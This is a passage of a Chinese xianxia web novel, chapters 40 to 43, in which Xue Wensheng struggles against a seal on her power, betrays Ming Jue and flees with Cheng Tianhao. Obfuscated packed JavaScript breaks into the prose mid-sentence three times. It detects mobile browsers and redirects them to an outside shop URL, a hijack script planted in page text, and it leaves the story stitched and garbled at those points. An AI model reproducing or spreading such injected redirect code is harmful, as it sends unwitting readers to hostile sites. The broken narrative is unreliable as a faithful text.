她集中全部精神,以“净灵决”为引,抽丝剥茧,慢慢的从封印的缝隙中,牵引出了一缕比发丝还纤细的幽暗能量。 仅仅是完成这第一步,她就冷汗涔涔,面色苍白。 她不知道,真正的痛苦才刚刚开始呢。 她继续引导着一缕微弱的幽暗能量,尝试去接触,轻轻侵蚀金色的太清锁灵印,一股炸裂心肺的剧痛向她袭来。 “呃!”该怎么去形容呢,像什么腐蚀性液体,沿着她灵力流转的轨迹,一点点地灼烧,消融着她的根本。 简直是刮骨剜心的剧痛!在这一点上,成天灏倒对她说了实话。 雪闻笙痛的全身发抖,紧咬牙关,在地上翻来覆去打滚。唇瓣被咬的出血,手指紧紧抱着双臂,指甲划出一道道血痕,她想让皮外疼痛分散一点源自灵魂深处的折磨。 眼前阵阵发黑,耳边嗡嗡作响,她就这么生生硬熬着。 等习惯了疼痛,感官开始麻木,她颤颤巍巍感受了一下,“净灵决”好像有用。 那一缕幽暗,在接触到金色道纹的时候,确实像水滴落在烧红的铁板上,发出了“滋滋”声,有了一点点,微乎其微的消融。 但这代价,实在太惨重了! 她感觉自己像在用自身的生命本源,用灵气,去一点点磨损那个坚不可摧的封印。每一次侵蚀,都痛苦万分,自身生机也会有一点点微弱流逝。 她痛到怀疑会不会没解开封印,自己就先油尽灯枯了。 可是不能停! 以前她不知道怎么解除封印,现在好不容易有办法了,她不能放弃,她要破除这道障碍。 她一边痛苦,一边固执地,一遍又一遍运转着“净灵决”...... 不知过了多久,那一缕幽暗完全消耗殆尽之后,雪闻笙瘫软在地,浑身被冷汗浸透,像刚从水里捞出来一样,大口大口喘着粗气,全身火辣辣地疼,连抬起一根手指的力气都没有了。 她的苦没有白挨,苍天垂怜,她心念俱灰的时候,感觉到了微弱,几乎小到忽略不计的......异样感,她眼睛忽然一亮! 本来坚固如磐石的太清锁灵印,在被侵蚀的那个小点上,真的有那么一丝丝松动! 这凶险至极的“净灵决”,让她生不如死,进展也慢得令人绝望,但至少她看到了真实的希望! 她心里有了盼头,瞬间又有劲了,挣扎着坐起身,不顾身体的抗议,开始调息,准备恢复一丝力气后,再次开始刚刚的酷刑经历。 “咚,咚,咚。”一阵轻微敲门声,在这个最不堪的节骨眼上,惊破了满室狼藉。 雪闻笙僵在原地,指尖发冷。 敲门声音很轻,带着来人惯有的平稳。 是明决! 他怎么来了? 他......发现了? 房间里乱糟糟的,根本无处下脚,桌布早就被她扯掉了,茶壶茶杯也撒了一地,连凳子也被她不知道什么时候一脚踹在角落里,少了一只腿。 雪闻笙下意识地想要掩饰,想消弭一些痕迹,但体内还有一股阴寒紊乱气息没有消散,她根本无所遁形。 她现在这样虚弱,像一张被雨水浸透的纸,轻轻一触就碎了。 不能让他进来,不能让他看见这副模样的她。 “咚,咚,咚。”明决又敲响了门。 在下一刻,她微颤着指尖,将桌边的蜡烛挪了挪位置。 光影摇曳,倾斜,将她纤细的身影投在了窗纸上,像一幅即将晕开的水墨。 雪闻笙站到了那圈光晕的中心,然后,开始解自己的衣裳。 手指勾住侧襟的系带,轻轻一扯,衣料便失去了依附,微微向两旁滑开。 外衫滑过肩头,堆叠在臂弯,无声落地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16916211|192244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她里面只穿了一件贴身的素色襦衣,面料柔软单薄,遮不住底下起伏的曲线。 烛影将她身体的轮廓细细勾勒出来,随着她略微急促的呼吸,剪影也像有了生命一般微微起伏,像夜风中战栗的花枝。 她停在这里,没有继续,就那样站着,微微侧首,让长发泻下,半掩住苍白的脸颊。她看见镜子里,自己脸上痛苦余韵未消,窗上剪影每一个弧度都那么含蓄,诉说着主人无法言明的哀怨。 门外静悄悄的,再没有一丝响声。 雪闻笙知道明决一定还在。 通过那扇窗,他看不见屋内的凌乱,看不见她脸上的痛苦,他只是会看见她利用烛光做出来的脆弱伪装。 她将所有的痛苦,狼狈与秘密,都锁在了这幅光影交织,哀婉朦胧之后。 雪闻笙知道他不会踏进房间半步,努力让自己的声音听起来尽量正常:“这么晚了,有事吗?你......进来吧。” 明决站在门槛外,一动不动。 他眉头微蹙,哪怕隔着门板,也感受到了雪闻笙房里尚未散尽的阴损波动。 门外没有动静。 雪闻笙忽然不知所措,紧张极了,等待着审判降临。 “药圃东南角的‘凝露草’,近日长势似乎有些萎靡。你近日照料,可曾发现异常?”明决在门外开了口,问的却是一件完全不相干的事情。 凝露草?雪闻笙一愣,大脑一时有些转不过弯。他深夜前来,就是为了问几株无关紧要的草药? 她立刻反应过来,这是一个台阶。 明决绝不可能没有察觉她此刻状态有异,但他选择了无视,选择了用最平常不过的事务来打破这尴尬的沉默。 雪闻笙连忙顺着他的话答道:“我......我近日未曾特别注意。明日便去仔细查看。” 明决点了点头,淡淡道:“嗯。草木有灵,需用心体察,方能感知其真正需求。操之过急,反受其害。” 什么意思?他到底在说凝露草,还是说她? “是......我记下了。”雪闻笙应道。 “早些休息吧。”明决没有再说什么。随即,他转身,如来时一般,悄无声息地离开了,雪闻笙敏觉听到了一声清浅的叹息。 明决走后,雪闻笙紧绷的神经骤然松弛下来,整个人几乎虚脱。 静水深流,其下暗涌滔天。明决的淡然,比成天灏的邪魅,更让她心悸。 她无路可退,像上了瘾的赌*徒,明知前方是万丈深渊,无法抗拒净灵决带来希望。 她的身体肉眼可见的消瘦了,原本莹润的肌肤也失去了一些光泽,只有眼睛,执念痛苦交织,显得明亮极了。 她与成天灏的暗中往来也更频繁了。 成天灏很享受这种在明决眼皮底下玩弄阴谋的感觉,他不断给雪闻笙灌输着关于力量,复仇,掌控命运的扭曲信念,也一点点地从她那里榨取着关于尘寂山和明决的细节,但对自己和明决以前的故事闭口不提,任凭雪闻笙怎么套话都不松口。 “不错,不错......净灵决的进展,比我想象快多了。”成天灏探查了一下雪闻笙体内的力量之后,夸赞道:“照这个速度,用不了多久,你就能在那该死的封印上,真正撕开一道口子了。” 雪闻笙知道他的算计,也知道自己是一枚棋子,但此刻,她选择迎合。 “还要多谢前辈指点。”她垂下眼睫,语气恭敬。 “各取所需罢了。”成天灏挥了挥手,随意般问道:“对了,明决近日有用到‘冰魄暖玉’或是‘七星魂草’这类极阴属性的材料吗?” 成天灏突然问这个做什么?她来不及细想,只能如实回答:“没有见过。明决炼丹,多用中正平和之药,极少动用此类偏激之物。” 成天灏眼中闪过一丝失望,很快又被掩饰过去:“也是,他那套假仁假义的道统,自然看不上这些‘旁门左道’。” 他嗤笑一声,不再多问。 雪闻笙忽然有些心烦意乱,低头起身想离开时,忽然看见脚下晕开了一滴又滴红色小水花。 她心里惊疑,抬手一摸脸,看见手背上全是血,黑色的血。 “啊——!” 雪闻笙发出一声凄厉惨叫。 41. 第 41 章 不知道是她近日修炼太疯狂,心神损耗过度,还是那些刺激封印的药渣阳性太过,与她体质相克,亦或是其他未知缘由。 雪闻笙皮肤泛起了不正常的赤红色,像覆盖了一层白霜,开始七窍流血,鼻孔不断流出黑血。 成天灏看了一眼,异常淡定。 他迅速出手,将几道灵力打入雪闻笙体内,想稳住那股暴虐能量。 但他伤势未愈,力量大打折扣,糟糕的是,他体内的毒性居然跟这股能量隐隐有了共鸣之势,他介入了反而引得那股能量愈加张狂起来。 “该死!”成天灏低咒一声,有些懊恼,心里开始权衡。 救,可能会暴露自己,引动旧伤。 不救,这枚好不容易找到的棋子,恐怕要废了。 “啊......救,救救我......疼,好疼......”雪闻笙全身像被撕裂了一样,痛苦面前,她毫无还手之力,就这么眼睁睁看着自己被那股可怕的力量撕碎,吞噬......殆尽。 她不甘心,她可以忍受所有苦难,但是她不想死啊! 谁能救救她,谁来救救她......她绝望的闭上了眼睛。 一道温润如玉的青色光华忽然出现,笼罩了整个偏殿,将濒临崩溃的雪闻笙完全包裹。 那光并不耀眼,带着磅礴生机与净化之力,像母亲温柔的手,轻柔抚过雪闻笙。所过之处,戾气像冰雪一样消融了,阴寒的刺痛也逐渐淡化。 雪闻笙渐渐舒展眉头,她全身心都感受到了温暖,安宁。 眼角有泪水滑落,她忍不住哭了。 她竭力想睁开眼睛,虽然视线一片模糊,但那抹素白的身影,化成灰她也不会认错。 明决不知何时静立在偏殿门口,遥遥与她相望,右手虚抬,指尖流淌着救她命的青色光华。 成天灏在看见青光的瞬间,像被踩到尾巴的猫,周身煞气隐而不发,满是警惕。 明决连看都没看他一眼,压根当他不存在。 他的目光始终停留在雪闻笙身上,直到她体内的混乱被彻底抚平,气息虽然虚弱,确保已经回归平稳,他才缓缓收回了手。 光华散去,偏殿内一片昏暗,空气中飘散着一股清冷干净的气息,是雪闻笙最熟悉的味道。 她瘫软在地,细细密密的喘息,看着门口身影朦胧的明决,心中五味杂陈。 他救了她......又一次。 在她最危险,最不堪的时候,他出手将她从鬼门关拉了回来。 为什么? 他明明可以继续袖手旁观,看着她这个“心怀不轨”的棋子自生自灭。 为什么还要救她? 她不敢问,明决可能也不会答。 明决将目光转向了成天灏,语气令人捉摸不透:“你知道的,此处是尘寂山。” 短短一句话,既是主权宣告,又是警告。 言下之意是,在这里,无论是谁,无论做什么,都在他的掌控之下。 成天灏听了,脸色有些阴沉,他从牙缝里挤出一句话:“明决,你果然......还是这般令人作呕的伪善啊!” 明决听了这骂人的话,不恼也不怒,只淡淡地看了他一眼,示意知道了。 然后,他看向雪闻笙,轻声道:“道基不稳,妄动无名。若再执迷,下次,无人能救。” 他看到了她的不堪和挣扎,用最平静的语气,告诉她——此路不通。 说完,明决便转身,素白衣袂在夜风中轻拂,身影消失在黑暗中。 雪闻笙,怔怔地看着空无一人的门口,明决最后那句话,她脑海中不停回荡。 无人能救...... 无人能救...... 她伸出手,看着自己微微颤抖的指尖,上面不光带着黑血,仿佛还残留着一丝青色光华的温暖余韵。 “呵呵。”成天灏起身,走到雪闻笙面前蹲下:“看到了吗?这就是你心心念念的人。你以为他是好心救你?不不不,他救你,可不是怜悯,更不是什么狗屁道义!他强势霸道的很,不允许有任何事,脱离他的掌控,哪怕是你这样一只微不足道的小蝼蚁!在他的棋局里,你连挣扎的资格都没有,生死都得由他定夺!” 雪闻笙蜷缩在地上,浑身冰冷,牙齿不受控制地打着颤。 是啊,他当然知道,他救她,只是为了维持尘寂山“不容外扰”的秩序,为了延续他那高高在上的“观察”。在他眼中,她的痛苦挣扎,乃至生死,都无关紧要。 她有一种被物化,被无情利用的屈辱感。 “无人能救……”她喃喃地重复着明决最后那句话,“他说......无人能救......” “他当然不会救!”成天灏靠近她,呼吸几乎喷在她的脸上,继续诱惑,“因为他根本就没想过要给你活路!这太清锁灵印,就是他要将你永远禁锢在他身边的枷锁!你永远只能做他笼中的雀鸟,生死不由己,爱恨亦不由己!” “小丫头,你还没看明白吗?在这尘寂山,你永远得不到你想要的!力量?自由?甚至是他的一个眼神,你都得不到!留在这里,只有死路一条,或者生不如死!” 他伸出手指,拨弄着一缕雪闻笙脸颊上濡湿的发丝,冷冰冰的丢出一句:“信不信由你,毕竟明决是个九岁就杀了自己亲生母亲的绝情种啊......” 雪闻笙抬头,难以置信地看着他。 他刚刚说,明决在九岁做了什么...... 成天灏话到为止,挑眉不语。 雪闻笙明白了,他抛出大饵,在等她做决定。 好吧,既然正道不容她,既然慈悲不渡她,那她便......自成魔! 她要离开! 离开这座牢笼,离开这个永远无法触及的男人! 她得自己去寻求打破封印,获得力量的生机,哪怕前方是刀山火海,是真正的万劫不复,她也认了! 她猛地挥开成天灏的手,挣扎着从地上爬起来。虽然身体很虚弱,脚下也走的不安稳,但她去意已决:“我跟你走。” 成天灏点了点头,满意道:“聪明的选择。不过,要走,也不能白走。” 他望着竹楼的方向,算计道:“明决这里,定然藏着不少好东西。尤其是关乎魅族圣剑的线索!” 雪闻笙心猛地一沉。 她没想到成天灏会在这个时候提要求,更没想到他会忽然提及魅族。 他在打盗窃明决东西的主意? 不!这算是碰了明决的底线,一旦事发,就不是警告那么简单了。 见她犹豫,成天灏冷哼一声:“怎么?事到临头,又怕了?别忘了,我们现在是一条船上的人。没有足够的筹码,我们就算离开尘寂山,又能走多远?拿什么去对抗追兵?又拿什么,去换你需要的力量?” 这番话浇醒了雪闻笙不切实际的幻想。 是啊,成天灏这样子不知道在外面有多少“仇家”在找他呢,自己跟着他绝没有好日子过。一旦下山离开了明决的庇护,她和重伤的成天灏,在外界那些虎视眈眈的豺狼眼中,就是两块飘香四溢的大肥肉。 他们需要筹码,需要能够让他们在夹缝中生存下去的本钱。 等等......成天灏怎么知道魅族和圣剑的,还直言明决这里有线索? 成天灏立刻就看穿了她的犹豫,轻笑两声,事到如今,不让这小东西安心,她是不会轻易相信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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成天灏立刻抓住机会,借助手中赤色骨笛的力量侵入禁制,无形的屏障荡漾了一下,出现了一个短暂的缝隙。 “快!”成天灏闪入小静室。 雪闻笙站在门外,既希望成天灏成功得手,又希望下一刻明决就会出现在她面前。 这边正犹豫不决,成天灏已经出来了,他脸上是压抑不住的兴奋,手中攥着什么东西,边走边往怀里塞。 “走!”他拉住发愣的雪闻笙,朝着下山的方向疾驰。 谁料,他们刚转过身,一道素白的身影凭空出现,静静地立在庭院中央,挡住了他们的去路。 月光洒在明决身上,勾勒出清俊绝伦的轮廓,衣袂无风自动。 不知道是不是错觉,雪闻笙觉得明决似乎有些异样......他好像有些虚弱。 两两相望,明决先开了口:“你,决定要走了?” 雪闻笙看着他身后清冷的月亮,所有的委屈绝望在这一刻,终于爆发了,她要斩断一切羁绊。 “是!我要走!这样的牢笼,这样无情无义的地方,我一刻也待不下去了!明决,你看清楚,不是我负你,是你......从来就没有真正在意过我!” 话音落下,她不再犹豫,与成天灏对视一眼,两人同时化作两道流光,朝着尘寂山外的黑暗遁去。 明决没有出手阻拦。 夜风吹拂,卷起几片落叶,打着旋儿,落在他素白的衣袍之上。 他静静看着流光消失的方向,清冷的眼眸中,有一层淡淡的阴影,月光也难以解读到底是什么。 42. 第 42 章 逃离尘寂山的路上,居然没有阵法结界的阻拦,他们顺利飞出了那片清圣之地,来到一处荒芜的山岭,雪闻笙停下脚步,扶着身边的岩石,剧烈喘息,还是忍不住后怕。 她真的......离开了。 在明决的眼皮子底下。 她心中没有半分解脱与快意,反而像突然被抽走了主心骨,不知所措。 一旁的成天灏也不好过,气息有些不稳。他迫不及待地从怀中掏出从静室盗出的包裹,打开之后雪闻笙才看清,是一枚玉牌,不是她想的圣剑“焚梦”。 不过,那玉牌通体莹白,触手温润,隐约泛着一层光华,显然不是凡物。 “我倒要看看,小师侄到底藏了什么好东西!”他咧嘴一笑,用一缕神念探向玉牌。 “嗡!”玉牌带着净化之力,轰然爆发了一阵波澜。 “噗!”成天灏被震得喷出一大口鲜血,整个人倒飞出去,撞在山壁上。 他手中的玉牌脱了手,浮在半空中,凝聚成了一道模糊的虚影,光华流转,散发着凛然不可侵犯的神圣气息。 雪闻笙眯着眼睛看过去,心里一惊,她觉得那虚影的轮廓,与明决有几分相似。 “明决!!!”成天灏也看出来了,他目眦欲裂,一声暴喝,挣扎着想爬起来。但那股净化之力,与他体内的毒和本身修炼的阴邪功法产生了冲突,让他伤上加伤,一时间无法动弹。 雪闻笙怔怔地看着虚影,明决早就知道了。 他不光知道他们会偷盗玉牌,还提前在玉牌上留了这么可怕的后手。 这根本就是一个陷阱,一个针对成天灏,可能......也是针对她的陷阱。 玉牌虚影没有攻击雪闻笙,悬浮在那里,静静发散着光芒,无声地宣告着主人某种所有权。 这该如何是好? 而让他们万万没想到的是,荒山附近居然有修士,刚才玉牌发出的强大波动,引起了他们的注意。 很快,几道凌厉的剑光,从远处的夜空疾驰而来,瞬间便将这片区域包围了。 剑光敛去之后,露出五六名身穿不同样式道袍的修士,他们个个眼光锐利,气息不俗。 几人看到地上的成天灏,快速对视了一眼,显然是认识成天灏的“老熟人”。 但是他们没把成天灏放在眼里,都盯着玉牌打转,最后才把目光落在脸色苍白的雪闻笙身上。 “哈哈哈!真是踏破铁鞋无觅处啊!”为首一名小灰胡子的老道得意大笑道,“成天灏!你这魔头败类,果然在这里!还带着个女娃娃......啧啧,如此绝色之资,定然不是凡人,看来又是一个被你所惑,勾结在一起的妖女了!哎,真是可惜喽!” 另一个手持金刀的彪形大汉瓮声瓮气道:“成天灏,你已经身受重伤多日了,交出玉牌和这妖女,我们可以留你一个全尸!” 此情此景,雪闻笙的心沉下去了,她没想到追杀来的这么快,他们才刚离开尘寂山! 她和重伤的成天灏,正面跟他们交手一点胜算都没有,怎么办? 她望向成天灏。 成天灏靠在山壁上,看着围拢过来的修士,嘶声道:“就凭你们这些土鸡瓦狗,也想捡老子的便宜?” “死小子,死到临头还嘴硬,行啊,给你点厉害尝尝。”小灰胡子老道冷笑一声,手中拂尘一甩,一道青光便直射成天灏胸口。 其他修士也很有眼力见,纷纷出手相助。 剑光,法术,雨点般朝着成天灏和雪闻笙而来,他们打算先除掉成天灏,再抢夺玉牌,然后生擒雪闻笙。 雪闻笙生平第一次经历这种高阶修士的打斗,成天灏自顾不暇,她下意识地想催动灵力抵抗。 这才悲哀的发现,成天灏什么也没教会她,别说攻击了,她拼进全力调动起体内那点微薄之力,也只够发出一缕淡淡的保护屏障,薄薄的一层,在这些身经百战的正统修士面前,像纱纸似得。 “哈哈哈哈哈......”彪形大汉粗狂大笑,“小美人,你是在跟我玩情趣吗?这点小玩意根本不够看啊,我随便动一动手指头一戳,它就破了,哈哈哈哈哈哈哈......” 屈辱,难堪,不甘,绝望。 她死死咬着唇瓣,用力维持着那一层可笑的,薄薄的保护屏,她知道都是徒劳,眼前已经看到了下一刻自己被擒获,被凌辱,被当场格杀的悲惨下场。 彪形大汉扛着大金刀,一步一步走近。 她想,自己会不会......就这么死了? “嗡”一声。 一股天外之来的庞大威压,毫无征兆地出现,一瞬间,风,停了。云,滞了。 那些剑光法术,也陷入了无形的泥沼,速度骤减,光芒黯淡。 在场所有的修士,包括那个嚣张的小灰胡子老道,僵立在原地,满脸惊讶。他们觉得身不由已,头皮发麻,背脊生寒,连灵魂也忍不住颤抖,好像有一只无形的巨手,紧紧扼住了这片天地里的一切! 怎么回事? 是谁? 下一瞬,一道素白的身影,从月华中走出,好像本来就在那里,只是此刻才被众人所察觉到。 来人静静地出现,衣袂飘飘,纤尘不染。 是明决! 他目光清冷,扫过全场。 目光在悬浮的玉牌虚影上微微一顿,虚影便像得到了指令一样,光华内敛,“叮咚”一声轻响,化作了一枚普通的玉牌,落在雪闻笙的怀里,她顺手接住。 然后他的目光,落在了那群修士身上。 他们动不了,睁大了眼珠子,看着眼前这位深不可测的白衣谪仙。 明决明明没有杀气,也没有明显的情绪波动,却让所有修士如坠冰窟,恐惧战栗! “尘寂山外三百里,亦属清静之地。扰此清静者,当罚。” 话音落下的瞬间,也不见他有什么动作,那几名修士手中的法器,身上的储物袋,竟同时光芒一闪,像经历了千万年的岁月侵蚀,迅速变得黯淡无光,灵性尽失,还出现了一道道裂纹。 全废了。 可是他们来不及为珍宝惋惜,因为下一刻就觉得自身的修为,也被一股不可抗拒的力量强行削去了一大截。 他们个个脸色惨白,气息萎靡,哆嗦着嘴唇说不出一句话! 他们什么也不想要了,只想活命,都睁大眼睛望着明决,用眼神祈求他,哀求他。 “滚。” 谪仙只说了一个字。 像驱赶一只小蚊虫。 那些修士们这才如蒙大赦,用尽平生最快的速度,连滚带爬地朝着远方遁去,眨眼间便消失得无影无踪。 明决转过身,看了一眼靠在石壁的成天灏,什么也没说。 然后,他的目光终于落在了雪闻笙脸上。 四目相对。 雪闻笙手中紧紧攥着玉牌,心里打翻了五味瓶一样。 看着他方才驱散强敌的绝世风姿,她内心依旧涌动着自己不愿承认的情感,那是一种尘埃仰望星空的卑微与悸动。 他又来了。 在她最绝望,最狼狈的时候,如神祇降临,再次出现在她面前。 他救了她,救了成天灏,惩罚了敌人,拿回了玉牌。 她有种错觉,其实他是不是一直在意着她呢? 可他看她的眼神,依旧那般平静,让她心寒。 他会说什么? 他会做什么? 是将她这个“叛徒”抓回牢笼?还是就此彻底了断,任由她自生自灭? 成天灏剧烈咳嗽了几声,吐出一口带着黑血的唾沫,死死盯着明决:“明决!少在那里假惺惺!要杀要剐,给个痛快!咳咳......还是说,你想亲眼看看,我是怎么被你留下的这鬼东西折磨死的?” 他满言挑衅,半是激怒明决,半是为了掩饰自己此刻的狼狈。 “你的生死,自有你的因果。玉牌之事,到此为止。若再打尘寂山的主意,形神俱灭,我绝不手软。” 他的话很轻,却像天道律令,绝对权威。 成天灏脸色一白,下意识要开口反驳,但终究没能再说出话来,冷哼一声,偏过头去。 处理完成天灏,就该处理她了。 雪闻笙挺直了脊背,想保留最后一点尊严,她迎着他的目光,强迫自己不退缩。 终于,明决缓缓开口,近乎叹息:“你,可还有话要说?” 他不质问她背叛,不斥责她愚蠢与成天灏的勾结,他只是问她,可还有话要说。 这出乎意料的问题,让雪闻笙瞬间红了眼眶,泪水大颗大颗滚落,模糊了眼前清冷如仙的身影。 她张了张嘴,哽咽道:“我......我有什么好说的?在你看来我做什么都是错。在你眼里,我不过是个麻烦,是个不知好歹,任性妄为的棋子!你救我,不过是出于你那所谓的‘道义’,或者......只是为了维持你尘寂山的清静!你从来......从来就没有真正在乎过我的感受!” 她心里委屈,几乎是吼出了最后几句话,情绪终于喷发出来,带着哭腔。 “我在你身边,努力学着懂事,努力想要变得更好,可你呢?你永远都是那副冷冰冰的样子!连一个笑容都吝啬给我!可是你对别人..... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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比她之前所有的怨恨和绝望,更让她难以承受! 她宁愿他大发雷霆,宁愿他出手惩戒,捉她回去,禁锢她,怎么都好过这样无足轻重的......放手啊。 “你......”她张了张嘴。明决不想再勉强她了,听清心音也好,关石室禁闭也罢,无用之功。 明决声音飘渺,像来自天外:“世间之路,并非只有尘寂山一条。你体内的封印,源于你自身血脉与心性之失衡。外力强解,终是镜花水月。唯有寻得内心真正的平静与归属,方是破局之道。” 他说这话,听起来太像临别前最后的赠言,冷得让她浑身发颤。 他真的......再也不管她了? 她不信! 说完,明决竟真的不再停留,那一抹素白的身影融入了月光中,变得模糊,透明,最终消失在原地。 仿佛他从来没有出现过。 但他留下了那枚玉牌。 雪闻笙站在原地,望着明决消失的方向,泪水肆虐,怎么都止不住,手中玉牌滚落在地也不知道。 成天灏站起身,走到她身边,捡起玉牌,仔细探查了一番,确认再无陷阱后,脸上露出满意的神色。 他看着失了魂魄似的雪闻笙,嗤笑道:“早走没影了。怎么?舍不得了?别忘了,不是你不要他,是他不要你了!跟我走吧,我才是你唯一的出路!” 雪闻笙缓缓转过头,看着眼前满是野心与欲望的脸,又看了看明决消失的方向,那里空无一物。 一条路,是回归“牢笼”,寻求永远无法得到的认可与温暖。 另一条路,是踏入未知危险的黑暗,万劫不复。 明决替她做出了选择。 他用最平静的方式,将她推向了后者。 她擦去脸上的泪:“走吧。” 成天灏点点头,他要的,就是这份决绝,这份与明决,与过去彻底割裂的恨意与绝望。 唯有如此,这枚蕴含着上古仙族力量的“钥匙”,才能真正为他所用。 “很好。这才是你应有的姿态。雪闻笙,沉溺于无谓的温情与期盼,只会磨钝你的爪牙。一个人真正的力量,源于认清现实,源于不惜一切。” 成天灏从怀中取出一枚刻着符文的黑色骨梭,他咬破指尖,逼出一滴蕴含着精纯原神的血液。骨梭乌光大盛,发出嗡鸣,一道不稳定的空间裂隙,出现在他们面前。 裂隙那头黑黢黢的,散发出极度叫人不安的气息。 “跟紧我。带你去见识见识新天地,相信我,你会爱上那里的!”成天灏当先一步,迈入裂隙,身影瞬间被黑暗吞噬了。 雪闻笙最后回头望了一眼明决消失的方向。 空气中没有丝毫暖意,她深吸一口气,明决残留的淡淡清气,此刻闻起来,竟带着诀别的苦涩。 她不再犹豫,抬脚踏入了黑暗。 43. 第 43 章 好像经历了很长一段时间虚空,不知道路在何方,雪闻笙觉得自己一直转啊转的,一阵极速眩晕过后,她晕过去了,再醒来时,发现自己身处一个山门前。 天色看起来是傍晚,光线昏暗,山壁潮湿,气息很陌生,显然不是尘寂山的范围,她想他们可能远离了中原。 成天灏就自在多了,对这里颇为熟悉。 他走到前方石洞内,在一处干燥的石台旁,盘膝坐下,开始运功疗伤。 明决留下的禁制威力非同小可,即便以他的修为,也受伤不轻,灵台紊乱,脸上不时闪过痛苦之色。 雪闻笙跟过来,静静地站在一旁,没有打扰他,暗暗思忖,未来会如何?成天灏会怎么对待她?那枚玉牌被成天灏收走了,背后究竟藏着怎样的秘密? 她屈膝坐在地上,闭上眼睛。 所有这些问题,她无力去思考,只觉得身心俱疲,所有的力气都在刚才那场惊心动魄的变故中被抽空了。 时间缓慢流逝,终于,成天灏缓缓吐出一口浊气,脸上的青黑之气稍褪,但伤势显然不是一时半刻能够痊愈的。 他睁开眼,见地上的雪闻笙这般平静,开口道:“不问问我这是什么地方?你似乎,并不害怕?” 雪闻笙抬眼看他:“害怕有用吗?” 成天灏低笑起来:“有意思。看来明决的‘放手’,倒是意外地让你成长了。没错,害怕是最无用的情绪。在这弱肉强食的世界,要么拥有让别人害怕的力量,要么,就学会在绝境中冷静地寻找生机。” 他目光落在了雪闻笙一直紧握的手上,准确地说,是落在她体内那被明决封印的力量上。 “哈哈哈哈哈哈哈......”成天灏像是想到了什么有趣的事,又开始笑个不停。 雪闻笙静静地看着他,仿佛要透过他那张棱角分明的脸,看穿皮囊之下的本质:“省省吧你,教我大道理之前,是不是得先告诉我,你到底是什么人?或者我该问——你是什么?” 成天灏眉梢微挑,没料到她会问得如此直接。 他调整了一下盘坐的姿势,伤势未愈,动作间却仍保持着优雅从容。 “我是成天灏啊,你不是知道么?”他答得轻描淡写。 “成天灏是你的名字,不是你的身份。”雪闻笙直接开口说出了自己的猜想,“你是魅族,对不对?和我......一样。” 成天灏的笑意褪去,伸手从怀中取出了那枚玉牌。 玉牌在他掌心幽幽发光,那光芒与洞壁上的磷光相互辉映,将他半张脸映得忽明忽暗。 “是啊。”他终于承认了。 “我们确实一样,但又不一样,雪闻笙姑娘,你可知道,即便是魅族,也分三六九等?” 他停顿了一下,不知道是在组织语言,还是在回忆什么往事:“世人皆以为魅族是妖邪之后,是被天道诅咒的存在。他们只知其一,不知其二。” 成天灏将玉牌举到眼前,透过那半透明的玉质看向洞顶:“我不知道你了解多少。魅族的真正来历,是‘璇光仙裔’。” 雪闻笙微怔,果然,成天灏跟女使长说的一样。 “很惊讶么?”成天灏冷哼一声,续道:“数万年前,九天之上曾有璇光一脉,司掌部分‘生’与‘美’之法则,以及星辰运转,光阴流逝。” “他们本是天道之下最接近永恒的存在。可惜,永恒本身即是悖论——当光阴的守护者开始觊觎光阴之外的秘密,灾祸便降临了。” “璇光仙人中的一支,想打破光阴壁垒,窥探‘永恒静止’的领域。那是天道绝对禁止的禁忌。结果,天道降罚,那一支仙人被剥夺仙格,胡乱按上了一个“道心不纯,悖逆天道”的由头,打入凡尘,血脉中永远烙印着‘崇尚力量,渴求超越’的诅咒,这就是魅族的起源——我们是堕落的神祇,仙裔的后代,是带着原罪的求道者。” “但即便是堕落了,血脉中的等阶依然存在。”成天灏继续道,“我的祖先,是当年那支仙裔中的核心血脉,仙根未彻底断绝。这意味着什么,你知道吗?” 雪闻笙不知道,他也不需要雪闻笙回答,自顾自说了下去:“这意味着,如果我们潜心修道,承受应有的天劫,抵清先祖的罪罚,有朝一日,是可以重归仙班的。我们的血脉中,留着‘飞升’的机会。” “飞升?”雪闻笙有些茫然。 “而你不同。”成天灏看雪闻笙的眼神又些复杂。 “你的血脉,恐怕已经稀薄到与凡人无异,只剩那点‘魅族本性’还在时不时作祟。你是被天道彻底抛弃的一支,无论修行多久,承受多少苦难,最终的结局也只能是在轮回中沉浮,永远触碰不到那扇天门。” “哦。”雪闻笙垂下眼睑,轻声问:“那你为什么不走那条路?既然可以飞升,为何要......” “为何要‘自甘堕落’?”成天灏替她说完了后半句,嘴角勾起一抹邪气的笑,“问得好。我也曾问过自己这个问题——在我还年轻,还天真的时候。” 他调整了一下呼吸,伤势仍在隐隐作痛,并不妨碍他讲述的兴致:“我出生在一个脱离了本族,伪装身份,加入宗门修行的魅族家族,即便还保留着部分古老的传承,但是大家都心照不宣,不再提及原本的血脉身世,毕竟这世道不容他们的存在。” “所以从小,我就被教导要克制本性,潜心修道,以抵罪罚,重归仙班。我的师父——不,我应该叫他师伯,他是族中长老,也是正道中赫赫有名的至臻大师。” 雪闻笙睁大了眼睛,“至臻大师”这个名字很熟悉,女使长好像提到过,玄门公认的得道大师居然出自魅族?这......太匪夷所思了。 为什么同样是魅族,女使长跟岛上的族人会过着那种担惊受怕,漂泊无根的生活?这就是成天灏口中的等级之分? 她有太多疑问想问,而成天灏此刻陷入了往事,无法自拔。 